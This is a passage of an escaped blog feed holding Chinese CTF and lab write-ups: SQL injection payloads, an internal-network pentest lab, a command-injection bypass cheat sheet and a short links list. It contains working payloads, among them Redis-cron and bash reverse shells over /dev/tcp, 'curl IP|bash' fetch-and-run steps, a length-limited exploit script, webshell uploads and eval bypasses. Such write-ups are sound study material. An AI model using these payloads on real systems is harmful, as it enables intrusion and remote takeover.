$replace = &quot;&quot;;
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;报错注入可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-23/?id=1&apos; and (updatexml(1, concat(0x3a, (select database()),0x3a ) ,1)) and &apos;1&apos; =&apos;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581137879879.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第二十四关&lt;/h2&gt;
&lt;p&gt;二次注入，注册一个用户名 &lt;code&gt;admin &apos;#&lt;/code&gt; 就可以修改admin的密码了&lt;/p&gt;
&lt;h2&gt;第二十五关&lt;/h2&gt;
&lt;p&gt;过滤了 &lt;code&gt;and&lt;/code&gt; 和 &lt;code&gt;or&lt;/code&gt; ，&lt;/p&gt;
&lt;p&gt;可以双写绕过或者使用 &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;||&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581138060996.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581138112434.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;25a&lt;/h2&gt;
&lt;p&gt;类似的过滤了and和or，而且没有单引号保护，双写绕过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581139222272.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第二十六关&lt;/h2&gt;
</content:encoded></item><item><title>企业环境渗透2</title><link>https://rayepeng.net/posts/%E4%BC%81%E4%B8%9A%E7%8E%AF%E5%A2%83%E6%B8%97%E9%80%8F2/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%BC%81%E4%B8%9A%E7%8E%AF%E5%A2%83%E6%B8%97%E9%80%8F2/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;任务一 weblogic反序列化&lt;/h2&gt;
&lt;p&gt;浏览器访问192.168.2.10:7001 然后就404&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583826737126.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用工具包中的webloigc利用工具&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583826784567.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到flag了是不是，然后执行 &lt;code&gt;cat /home/flag&lt;/code&gt; 是吧233333&lt;/p&gt;
&lt;p&gt;其实，这个flag不过就是个目录。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583826861077.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583826902355.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务二 Wrodpress 任意文件读取&lt;/h2&gt;
&lt;p&gt;wpscan常规扫描一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583826949884.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;存在一个任意文件读取漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583826994083.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务三 Wordpress命令执行&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;利用 Burpsuite的 repeater模块修改包探测漏洞存在的字段&lt;/li&gt;
&lt;li&gt;执行wordpress mailer 命令执行漏洞的利用脚本尝试获取shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;执行 &lt;code&gt;wordpress-rce-exploit.sh&lt;/code&gt; 获取到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588132036186.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务四 改进漏洞利用脚本获得命令执行权限&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;通过分析sendmail中的语法改进作者的漏洞利用脚本，缩短host字段的长度绕过限制&lt;/li&gt;
&lt;li&gt;利用改进后的漏洞利用脚本来获取shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;修改脚本：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588132544267.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;执行脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588132523479.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开另一个shell 进行监听&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588132513711.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功获得反弹的shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588132491640.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;python&lt;/code&gt; 开启一个服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588133151756.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传 &lt;code&gt;tunnel.nosocker.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588133135867.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功上传&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588133164733.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开启代理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python reGeorgSocksProxy.py -p 8080 -u http://192.168.2.11/tunnel.nosocket.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588134528946.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扫描内网&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains nmap -Pn -sT 192.168.1.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588134555511.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains nmap -Pn -sT 192.168.1.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588134580261.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;都开放了80端口，并且看出 &lt;code&gt;192.168.1.11&lt;/code&gt; 是Windows， &lt;code&gt;192.168.1.10&lt;/code&gt; 是Linux&lt;/p&gt;
&lt;h2&gt;任务五 redsi未授权访问+ffmpeg任意文件读取&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;查看网页信息可知，是通过ffmpeg处理视频的小应用，只有上传，下载和删除功能，此处存在ffmpeg文件读取漏洞，构造特定的avi视频，经过ffmpeg处理之后的视频就会包含想要的文件内容。利用文件读取漏洞获取redis配置文件内容&lt;/li&gt;
&lt;li&gt;redis数据库服务，允许外连且没有设置密码，可以随意访问，此处存在未授权访问漏洞，正常情况下可以写入文件，但是过程中发现，必要的config命令被替换了。而config命令的替换一定是写在redis的配置文件中的，配置文件的路径又可以在redis中执行info获取到，在以上环境中获取到redis服务器的shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.1.11&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588134685034.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;连接 &lt;code&gt;redis&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains ./redis-cli -h 192.168.1.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588134783500.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到配置文件的位置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/redis/63799.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588135266214.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载得到 456.avi&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588135317666.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现 &lt;code&gt;config&lt;/code&gt; 命令被替换成了 &lt;code&gt;ccoonnffiigg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;redis连接，通过计划任务反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains ./redis-cli -h 192.168.2.11

ccoonnnffiigg set dir /var/spool/cron
set xxx &quot;\n\n*/1 * * * * /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.2.11/9999 0&amp;amp;&amp;gt;1\n\n&quot;
ccoonnnffiigg set dbfilename root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143052787.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功反弹shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588142962941.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/home/flag/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588142981379.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/redis/63799.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143001902.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务六 drupal8 远程代码执行&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;使用浏览器代理访问内网机器 &lt;code&gt;192.168.1.10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;利用drupal8的php反序列化漏洞向目标服务器写入webshell&lt;/li&gt;
&lt;li&gt;使用Cknife连接已经生成的webshell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;设置代理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143278974.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143264527.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;弱口令 &lt;code&gt;admin,admin&lt;/code&gt;登陆后台&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143532782.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.1.10/admin/config/development/configurations/single/import&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;导入 &lt;code&gt;drupal_exp.txt&lt;/code&gt; 中的内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143822617.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;网站根目录生成 &lt;code&gt;shell.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143892842.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Cknife&lt;/code&gt; 连接，设置代理地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143796161.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一个flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143925249.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二个flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588143937477.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>命令执行绕过技巧</title><link>https://rayepeng.net/posts/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;tar命令绕过&lt;/h2&gt;
&lt;p&gt;最近也是才知道的姿势，很多CTF题目并没有过滤tar命令，可以直接打包然后下载，GXYCTF的一道题就可以这样非预期&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?ip=1;tar$IFS$9-cvf$IFS$9index$IFS$9.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582542493140.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Windows命令执行&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$a = &quot;../ %1a whoami&quot;;
$command = &apos;dir &apos;.urldecode($a);
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents(&apos;out.bat&apos;,$escaped_command);
system(&apos;out.bat&apos;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/posts/58281de6/2020/PersonNote/CTF%E7%AC%94%E8%AE%B0/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/1581933022683.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;命令分隔符&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;|
||
&amp;amp;&amp;amp;
;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;空格绕过&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;~ ᐅ cat&amp;lt;&amp;gt;flag     
flag{fffffffffff}
~ ᐅ cat&amp;lt;flag 
flag{fffffffffff}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;${IFS}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这算是Linux中的一个变量&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Linux下有一个特殊的环境变量叫做IFS，叫做内部字段分隔符（internal field separator）。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下，bash shell会将下面的字符当做字段分隔符：空格、制表符、换行符。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;~ ᐅ echo ${IFS} &amp;gt; aa.txt
~ ᐅ xxd aa.txt 
00000000: 2009 0a00 0a                              ....

//用python读取一下
&amp;gt;&amp;gt;&amp;gt; f = open(&quot;aa.txt&quot;)
&amp;gt;&amp;gt;&amp;gt; f.readlines()
[&apos; \t\n&apos;, &apos;\x00\n&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;${IFS}&lt;/code&gt; 绕过(但是我没有实验成功) ==只适用于Ubuntu==&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@VM-207-93-ubuntu:~$ cat flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}flag
nice day

ubuntu@VM-207-93-ubuntu:~$ cat${IFS}$9flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat$IFS$9flag
nice day
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;黑名单绕过&lt;/h2&gt;
&lt;p&gt;有些时候会设置一些关键字过滤(比如设置flag)&lt;/p&gt;
&lt;h3&gt;拼接&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;~ ᐅ a=c;b=at;c=flag;$a$b $c
flag{fffffffffff}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;编码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;~ ᐅ echo &quot;Y2F0IGZsYWc=&quot;|base64 -d|bash
flag{fffffffffff}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;单引号双引号&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;~ ᐅ c&quot;&quot;at flag
flag{fffffffffff}
~ ᐅ c&quot;&quot;at fl&quot;&quot;ag
flag{fffffffffff}
~ ᐅ c&quot;&quot;at fl&apos;&apos;ag
flag{fffffffffff}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;反斜线&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;~ ᐅ c\at fl\ag
flag{fffffffffff}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;绕过长度的限制&lt;/h2&gt;
&lt;p&gt;原题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    $sandbox = &apos;/www/sandbox/&apos; . md5(&quot;orange&quot; . $_SERVER[&apos;REMOTE_ADDR&apos;]);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET[&apos;cmd&apos;]) &amp;amp;&amp;amp; strlen($_GET[&apos;cmd&apos;]) &amp;lt;= 5) {
        @exec($_GET[&apos;cmd&apos;]);
    } else if (isset($_GET[&apos;reset&apos;])) {
        @exec(&apos;/bin/rm -rf &apos; . $sandbox);
    }
    highlight_file(__FILE__);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Linux 可以通过 &lt;code&gt;\&lt;/code&gt; 换行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sh filename&lt;/code&gt; 可以执行一个shell脚本，如果有报错的话会自动跳过&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;gt;&lt;/code&gt; 会覆盖原有的内容&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; 是追加内容&lt;/p&gt;
&lt;p&gt;思路就是通过构造一个文件然后往里面写入类似&lt;code&gt;curl 192.168.1.104|bash&lt;/code&gt; 之类的语句然后执行，其实还可以利用其他python 以及PHP环境去执行代码，访问 &lt;code&gt;192.168.1.104/index.php&lt;/code&gt;里面的内容&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.1.104/12345 0&amp;gt;&amp;amp;1&lt;/code&gt;从而达到反弹webshell的目的&lt;/p&gt;
&lt;p&gt;php执行生成的_的内容序列并非和我们在linux命令行一样，查资料 ls 排序和应该和环境变量&lt;code&gt;LC_COLLATE&lt;/code&gt;有关！而php应该是c&lt;br /&gt;
&lt;a href=&quot;https://www.zhihu.com/question/273928679&quot;&gt;https://www.zhihu.com/question/273928679&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582539212357.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from time import sleep
from urllib import quote

payload = [
    # generate `ls -t&amp;gt;g` file
    &apos;&amp;gt;ls\\&apos;, 
    &apos;ls&amp;gt;_&apos;, 
    &apos;&amp;gt;\ \\&apos;, 
    &apos;&amp;gt;-t\\&apos;, 
    &apos;&amp;gt;\&amp;gt;g&apos;, 
    &apos;ls&amp;gt;&amp;gt;_&apos;, 

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash` 
    &apos;&amp;gt;sh\ &apos;, 
    &apos;&amp;gt;ba\\&apos;, 
    &apos;&amp;gt;\|\\&apos;,
    &apos;&amp;gt;20\\&apos;,
    &apos;&amp;gt;2.\\&apos;, 
    &apos;&amp;gt;8.\\&apos;,
    &apos;&amp;gt;18\\&apos;, 
    &apos;&amp;gt;0.\\&apos;, 
    &apos;&amp;gt;1\\&apos;, 
    &apos;&amp;gt;\ \\&apos;, 
    &apos;&amp;gt;rl\\&apos;, 
    &apos;&amp;gt;cu\\&apos;, 

    # exec
    &apos;sh _&apos;, 
    &apos;sh g&apos;, 
]

r = requests.get(&apos;http://10.188.2.20:22460/?reset=1&apos;)
for i in payload:
    assert len(i) &amp;lt;= 5 
    r = requests.get(&apos;http://10.188.2.20:22460/?cmd=&apos; + quote(i) )
    print i
    sleep(0.2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/t3hp0rP/hitconDockerfile/tree/master/hitcon-ctf-2017/babyfirst-revenge&quot;&gt;Dockerfile&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;绕过长度为4的限制&lt;/h2&gt;
&lt;p&gt;。。太狠了&lt;/p&gt;
&lt;h2&gt;绕过长度限制写shell&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582540869115.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参数注入&lt;/h2&gt;
&lt;p&gt;gitlist远程命令执行漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = escapeshellarg($query);
    try {
        $results = $this-&amp;gt;getClient()-&amp;gt;run($this, &quot;grep -i --line-number {$query} $branch&quot;);
    } catch (\RuntimeException $e) {
        return false;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复现：&lt;/p&gt;
&lt;p&gt;这里的问题出在单引号并不能使得包裹的内容成为一个非选项&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/dd89dc70-2446-48e1-a728-5693d1fa868a.bbb0aaacef7d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个 &lt;code&gt;--name&lt;/code&gt; 文件，但是无法直接用 cat进行读取，因为会被认为是一个选项，即使是用单引号包裹也不行&lt;/p&gt;
&lt;p&gt;比如这个命令就不会执行，因为单引号包裹的内容放在 &lt;code&gt;-e&lt;/code&gt; 选项的值中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git grep -i --line-number -e &apos;--open-files-in-pager=id;&apos; master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582541083787.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;必须是 &lt;code&gt;cat -- --name&lt;/code&gt;, 从这个例子也能看出，单引号并不是区分一个字符串是“参数值”或“选项”的标准。&lt;/p&gt;
&lt;p&gt;修复：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = preg_replace(&apos;/(--?[A-Za-z0-9\-]+)/&apos;, &apos;&apos;, $query);
    $query = escapeshellarg($query);
    try {
        $results = $this-&amp;gt;getClient()-&amp;gt;run($this, &quot;grep -i --line-number -- {$query} $branch&quot;); //强制加入 -- 使得后面的成为参数的值
    } catch (\RuntimeException $e) {
        return false;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;python中存在的漏洞点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

query = &apos;id&apos;
r = subprocess.run([&apos;git&apos;, &apos;grep&apos;, &apos;-i&apos;, &apos;--line-number&apos;, query, &apos;master&apos;], cwd=&apos;/tmp/vulhub&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/8296bbd4-40cd-481e-9147-6f11e80967d8.6b4cdb17a1b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;eval长度限制绕过 &amp;amp;&amp;amp; PHP5.6新特性&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$param = $_REQUEST[&apos;param&apos;];
if(strlen($param)&amp;lt;17 &amp;amp;&amp;amp; stripos($param,&apos;eval&apos;) === false &amp;amp;&amp;amp; stripos($param,&apos;assert&apos;) === false) {
  eval($param);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;命令执行&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;param=`$_GET[1]`;&amp;amp;1=bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;param=exec($_GET[1]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;远程文件包含&lt;/h3&gt;
&lt;p&gt;有的同学提到了远程文件，但正常文件包含&lt;code&gt;include $_GET[1];&lt;/code&gt;，这个刚好17个字符，超了一位。&lt;/p&gt;
&lt;p&gt;不过，其实&lt;code&gt;include$_GET[1];&lt;/code&gt;也是可以运行的，中间的空格可以不要。&lt;/p&gt;
&lt;p&gt;这也是一个思路，但限制就是需要开启远程文件包含，但这个选项默认是关闭的。&lt;/p&gt;
&lt;h3&gt;本地文件包含&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;param=$_GET[a](N,a,8);&amp;amp;a=file_put_contents
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;file_put_contents的第一个参数是文件名，我传入N。PHP会认为N是一个常量，但我之前并没有定义这个常量，于是PHP就会把它转换成字符串’N’；第二个参数是要写入的数据，a也被转换成字符串’a’；第三个参数是flag，当flag=8的时候内容会追加在文件末尾，而不是覆盖。&lt;/p&gt;
&lt;p&gt;除了&lt;code&gt;file_put_contents&lt;/code&gt;，&lt;code&gt;error_log&lt;/code&gt;函数效果也类似。&lt;/p&gt;
&lt;p&gt;但是file_put_contents第二个参数如果是符号，就会导致PHP出错，比如&lt;code&gt;param=$_GET[a](N,&amp;lt;,8);&amp;amp;a=file_put_contents&lt;/code&gt;。但如果要写webshell的话，“&amp;lt;”等符号又是必不可少的。&lt;/p&gt;
&lt;p&gt;写shell的方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 每次写入一个字符：PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&amp;amp;0=php://filter/read=convert.base64-decode/resource=N
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;本地日志包含&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;param=include$_GET[a];&amp;amp;a=/home/u244201241/.logs/php_error.log
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;标准答案，利用变长参数执行&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;POST /test.php?1[]=test&amp;amp;1[]=var_dump($_SERVER);&amp;amp;2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1582707944277.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一个坑&lt;/p&gt;
&lt;p&gt;想请教下，为什么用标准答案的方法时，get参数必须用数字才能正常执行，换成比如？a[]=test&amp;amp;a[]=phpinfo();&amp;amp;b=assert时就会失败，不知可否解答下&lt;/p&gt;
&lt;p&gt;只有数字索引数组才能作为变长参数数组。&lt;/p&gt;
</content:encoded></item><item><title>常用的网站</title><link>https://rayepeng.net/posts/%E5%B8%B8%E7%94%A8%E7%9A%84%E7%BD%91%E7%AB%99/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%B8%B8%E7%94%A8%E7%9A%84%E7%BD%91%E7%AB%99/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;大师傅&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://szfszf.top/&quot;&gt;http://szfszf.top/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;JWT&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://jwt.io/&quot;&gt;https://jwt.io/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;杂项&lt;/h2&gt;
&lt;p&gt;bypass disabled function&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/l3m0n/Bypass_Disable_functions_Shell&quot;&gt;https://github.com/l3m0n/Bypass_Disable_functions_Shell&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>战疫分享赛wp</title><link>https://rayepeng.net/posts/%E6%88%98%E7%96%AB%E5%88%86%E4%BA%AB%E8%B5%9Bwp/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%88%98%E7%96%AB%E5%88%86%E4%BA%AB%E8%B5%9Bwp/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;hackme&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.xn--zip-w58d4a5px4eovj5we7yxe0jdwb47eixsc9hyq6ahj2ah8bp5g5s8jfs5z&quot;&gt;www.zip源码，审计之后看到两个很有意思的操作&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;根目录下的 &lt;code&gt;init.php&lt;/code&gt;文件中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//初始化整个页面
error_reporting(0);
//lib.php包括一些常见的函数
include &apos;lib.php&apos;;
session_save_path(&apos;session&apos;);
ini_set(&apos;session.serialize_handler&apos;,&apos;php_serialize&apos;);
session_start();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是在 &lt;code&gt;core&lt;/code&gt; 目录下的 &lt;code&gt;init.php&lt;/code&gt; 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//初始化整个页面
